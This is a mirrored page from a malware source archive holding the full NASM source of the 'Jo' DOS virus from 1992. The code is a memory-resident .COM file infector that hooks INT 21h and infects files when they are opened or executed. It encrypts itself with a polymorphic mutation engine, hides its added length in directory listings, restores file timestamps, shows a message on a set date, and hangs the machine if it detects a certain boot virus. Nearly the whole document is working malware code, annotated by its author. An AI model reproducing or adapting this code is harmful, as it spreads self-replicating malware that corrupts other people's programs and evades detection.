mirror of
https://github.com/vxunderground/MalwareSourceCode
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430 lines
18 KiB
NASM
430 lines
18 KiB
NASM
NAME Jo
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PAGE 55,132
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TITLE Jo Virus.
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;
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; This is Yet another virus from the ARCV, this one is called
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; Joanna, it was written by Apache Warrior, ARCV President.
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;
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; It has Stealth features, it is a Resident infector of .COM files
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; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for
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; its Polymorphic features. There is a maximum of 3 unchanged bytes
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; in the Encrypted code.
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;
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.model tiny
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code segment
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ASSUME CS:CODE,DS:CODE,ES:CODE
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int_21ofs equ 84h
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int_21seg equ 86h
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length equ offset handle-offset main
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msglen equ offset oldstart-offset msg
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tsrlen equ (offset findat-offset main)/10
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len equ offset handle-offset main
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virlen equ (offset string-offset main2)/2
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decryptlen equ offset main2-offset main
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org 100h
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start: jmp main
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db 0,0,0
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main: mov si,offset main2 ; SI offset for decrypt
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mov cx,virlen ; viri decrypt size
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loop_1:
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db 2eh,81h,2ch ; decrypt
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switch: dw 0
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add si,02h
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dec cx
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jnz loop_1
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main2: call findoff ; find file ofset
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findoff: pop si ;
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sub si,offset findoff
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push ds
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push es
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push cs
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pop ds
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push cs
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pop es
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mov ax,0ff05h ; Test for Scythe2 Boot
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int 13h
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cmp ah,0e9h ; Check for Scythe2 Boot
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jnz haha ; no go on
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mov ah,09h ; Display message
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lea dx,[si+offset msg2]
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int 21h
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jmp $ ; Crash the machine
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haha: mov ah,2ah ; Date Test
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int 21h ;
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cmp dx,1210h ; Is month the Oct.
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jnz main3 ; no go on
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mov ah,09h ; Display Message
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lea dx,[si+offset msg]
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int 21h
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main3: mov di,0100h ; move old programs
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push si ; start back to the start
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mov ax,offset oldstart ;
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add si,ax ;
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mov cx,05h ;
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cld ;
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repz movsb ;
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inst: mov ax,0ffa4h ; check to see if already instaled
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int 21h
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pop si ; bring back si
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cmp ax,42a1h
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je oldprog ; Yes return to old program
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tt2: xor ax,ax ; Residency Routine
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push ax
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mov ax,ds ; Get MCB segment Address
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dec ax ;
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mov es,ax ; Put MCB segment Address in es
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pop ds ;
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mov ax,word ptr ds:int_21ofs ; Load Int 21h address data
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mov cx,word ptr ds:int_21seg ;
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mov word ptr cs:[si+int21],ax ; Move Int 21h data to store
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mov word ptr cs:[si+int21+2],cx ;
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cmp byte ptr es:[0],5ah ; Check for Start of MCB
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jne oldprog ; If no then quit
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mov ax,es:[3] ; Play with MCB to get top of
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sub ax,0bch ; Memory and reserve 3,008 bytes
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jb oldprog ; for Virus
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mov es:[3],ax ;
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sub word ptr es:[12h],0bch ;
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mov es,es:[12h] ;
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push ds ;
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push cs ;
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pop ds ; Move Virus into Memory
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mov di,0100h ; space allocated above
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mov cx,len+5 ;
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push si ;
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add si,0100h ;
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rep movsb ;
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pop si
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pop ds
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cli ; Stop Interrupts Very Inportant
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mov ax,offset new21 ; Load New Int 21h handler
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mov word ptr ds:int_21ofs,ax ; address and store
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mov word ptr ds:int_21seg,es ;
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sti ;
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oldprog:
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mov di,0100h ; Return to Orginal
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pop es ; Program..
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pop ds ;
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push di ;
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ret ;
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int21 dd 0h ; Storage For Int 21h Address
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;
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; New interupt 21h Handler
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;
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sayitis: mov ax,42a1h ; Install Check..
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iret
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new21: ;nop ; Sign byte
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cmp ax,0ffa4h ; Instalation Check
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je sayitis
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cmp ah,11h ; FCB Search file
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je adjust_FCB
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cmp ah,12h ; FCB Search Again
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je adjust_FCB
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cmp ah,4eh ; Handle Search file
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je adjust_FCB
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cmp ah,4fh ; Handle Search Again
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je adjust_FCB
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cmp ah,3dh ; Are they opening a file?
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je intgo ; if no ignore
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cmp ah,4bh ; Exec Function
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jne noint
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intgo: push ax ; 4bh, 3dh Infect file
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push bx ; Handler save the Registers
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push cx
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push es
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push si
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push di
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push dx
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push ds
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call checkit ; Call infect routine
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pop ds
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pop dx
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pop di
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pop si
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pop es
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pop cx
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pop bx
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pop ax
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noint: jmp cs:[int21] ; Return to Orginal Int 21h
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adjust_FCB: push es ; Stealth Routine
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push bx
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push si
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push ax
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xor si,si
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and ah,40h ; Check for handle Search
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jz okFCB
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mov si,1 ; Set flag
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okFCB: mov ah,2fh ; Get DTA Address
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int 21h
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pop ax ; Restore ax to orginal function
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call i21 ; value call it
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pushf ; save flags
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push ax ; save ax error code
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call adjust ; Call stealth adjust routine
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pop ax ; restore registers
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popf
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pop si
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pop bx
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pop es
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retf 2 ; Return to caller
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adjust: pushf ; Stealth check routine
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cmp si,0 ; Check flag set earlyer
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je fcb1
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popf
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jc repurn ; Check for Handle Search error
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mov ah,byte ptr es:[bx+16h] ; No error then carry on
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and ah,01ah ; Check stealth stamp
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cmp ah,01ah ;
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jne repurn ;
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sub word ptr es:[bx+1ah],len ; Infected then take the viri size
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repurn: ret ; from file size.
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fcb1: popf ; Same again but for the FCB
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cmp al,0ffh
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je meat_hook
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cmp byte ptr es:[bx],0ffh
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jne xx2
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add bx,7
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xx2: mov ah,byte ptr es:[bx+17h]
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and ah,01ah
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cmp ah,01ah
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jne meat_hook
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sub word ptr es:[bx+1dh],len
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meat_hook: ret
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com_txt db 'COM',0 ;
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reset: ; File Attrib routines
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mov cx,20h
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set_back:
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mov al,01h
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find_att:
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mov ah,43h ; Alter file attributes
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i21: pushf
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call cs:[int21]
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exitsub: ret
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checkit: ; Infect routine
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push es ; Save some more registers
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push ds
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push ds ; Check to see if file is a
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pop es ; .COM file if not then
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push dx ; quit..
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pop di ;
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mov cx,0ffh ; Find '.' in File Name
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mov al,'.' ;
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repnz scasb ;
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push cs ;
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pop ds ;
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mov si,offset com_txt ; Compare with COM extension
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mov cx,3 ;
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rep cmpsb ;
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pop ds ; Restore Reg...
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pop es ;
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jnz exitsub ;
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foundtype: sub di,06h ; Check for commaND.com
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cmp ds:[di],'DN' ; Quit if found..
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je exitsub ;
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mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later
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mov word ptr cs:[nameptr+2],ds ;
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mov al,00h ; Find Attributes of file to infect
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call find_att ;
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jc exitsub ; Error Quit.
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alteratr: mov cs:[attrib],cx ; Save them
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call reset ; Reset them to normal
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mov ax,3d02h ; Open file
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call i21
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jc exitsub ; Error Quit
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push cs ; Set DS to CS
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pop ds ;
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mov ds:[handle],ax ; Store handle
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mov ax,5700h ; Read file time and date
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mov bx,ds:[handle] ;
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call i21 ;
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ke9: mov ds:[date],dx ; Save DX
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or cx,1ah ; Set Stealth Stamp
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mov ds:[time],cx ; Save CX
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mov ah,3fh ; Read in first 5 bytes
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mov cx,05h ; To save them
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mov dx,offset oldstart ;
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call i21 ;
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closeit: jc close2 ; Error Quit
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mov ax,4202h ; Move filepointer to end
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mov cx,0ffffh ; -5 bytes offset from end
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mov dx,0fffbh ;
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call i21 ;
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jc close ; Error Quit
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mov word ptr cs:si_val,ax ; Save File saize for later
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cmp ax,0ea60h ; See if too big
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jae close ; Yes then Quit
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mov ah,3fh ; Read in last 5 bytes
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mov cx,05h ;
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mov dx,offset tempmem ;
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call i21 ;
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jc close ; Error
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push cs ; Reset ES to CS
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pop es ;
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mov di,offset tempmem ; Check if Already infected
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mov si,offset string ;
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mov cx,5 ;
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rep cmpsb ;
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jz close ; Yes the Close and Quit
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zapfile: ; No Infect and Be Damned
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mov ax,word ptr cs:si_val ;
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add ax,2 ;
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push cs ;
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pop ds ;
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mov word ptr ds:[jpover+1],ax ; Setup new jump
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call mut_eng ; Call Mutation Engine
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mov ah,40h ; Save prog to end of file
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mov bx,cs:[handle] ; Load Handle
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mov cx,length ; LENGTH OF PROGRAM****
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call i21 ; Write away
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close2: jc close ; Quit if error
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push cs ; Reset DS to CS
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pop ds ;
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mov ax,4200h ; Move File pointer to start
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xor cx,cx ; of file
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cwd ; Clever way to XOR DX,DX
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call i21 ;
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jc close ; Error Quit..
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mov ah,40h ; Save new start
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mov cx,03h ;
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mov dx,offset jpover ;
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call i21 ;
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close: mov ax,5701h ; Restore Time and Date
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mov bx,ds:[handle] ;
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mov cx,ds:[time] ;
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mov dx,ds:[date] ;
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call i21 ;
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mov ah,3eh ; Close file
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call i21 ;
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exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they where
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mov cx,ds:[attrib] ;
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mov ds,word ptr cs:[nameptr+2] ;
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call set_back ;
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ret ; Return to INT 21h Handler
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;
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; CyberTech Mutation Engine
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;
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; This is Version Two of the Mutation Engine
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; Unlike others it is very much Virus Specific.. Works
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; Best on Resident Viruses..
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;
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; To Call
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;
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; si_val = File Size
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;
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; Returns
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; DS:DX = Encrypted Virus Code, Use DS:DX pointer to
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; Write From..
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mut_eng:
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mov ah,2ch ; Get Time
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call i21 ;
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mov word ptr ds:[switch],dx ; Use Sec./100th counter as key
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mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt
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mov ax,cs:[si_val] ; Get file size
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mov dx,offset main2 ;
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add ax,dx ;
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mov word ptr [main+1],ax ; Store to Decrypt offset
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xor byte ptr [loop_1+2],28h ; Toggle Add/Sub
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xor byte ptr switch2,28h ; "
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push cs ; Reset Segment Regs.
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pop ds ;
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push cs ;
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pop ax ; Find Spare Segment
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sub ax,0bch ; and put in es
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mov es,ax ;
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mov si,offset main ; Move Decrypt function
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mov di,0100h ;
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mov cx,decryptlen ;
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rep movsb ;
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mov si,offset main2 ; Start the code encrypt
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mov cx,virlen ;
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loop_10: lodsw ;
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switch2: add ax,0000 ;
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stosw ;
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loop loop_10 ;
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mov si,offset string ; move ID string to end
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mov cx,5 ; new code
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rep movsb ;
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mov dx,0100h ; Set Registers to encrypted Virus
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push es ; Location
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pop ds ;
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ret ; Return
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; Data Section, contains Messages etc.
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; Little message to the Wife to Be..
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msg db 'Looking Good Slimline Joanna.',0dh,0ah
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db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah
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db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah
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db '$'
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msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$'
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virus_name db '[JO]',00h, ; Virus Name..
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author db 'By Apache Warrior, ARCV Pres.' ; Thats me..
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filler dd 0h
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oldstart: mov ax,4c00h ; Orginal program start
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int 21h
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nop
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nop
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j100h dd 0100h ; Stores for jumps etc
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jpover db 0e9h,00,00h ;
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string db '65fd3' ; ID String
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heap: ; This code is not saved
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handle dw 0h
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nameptr dd 0h
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attrib dw 0h
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date dw 0h
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time dw 0h
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tempmem db 10h dup (?)
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findat db 0h
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si_val dw 0h
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code ends
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end start
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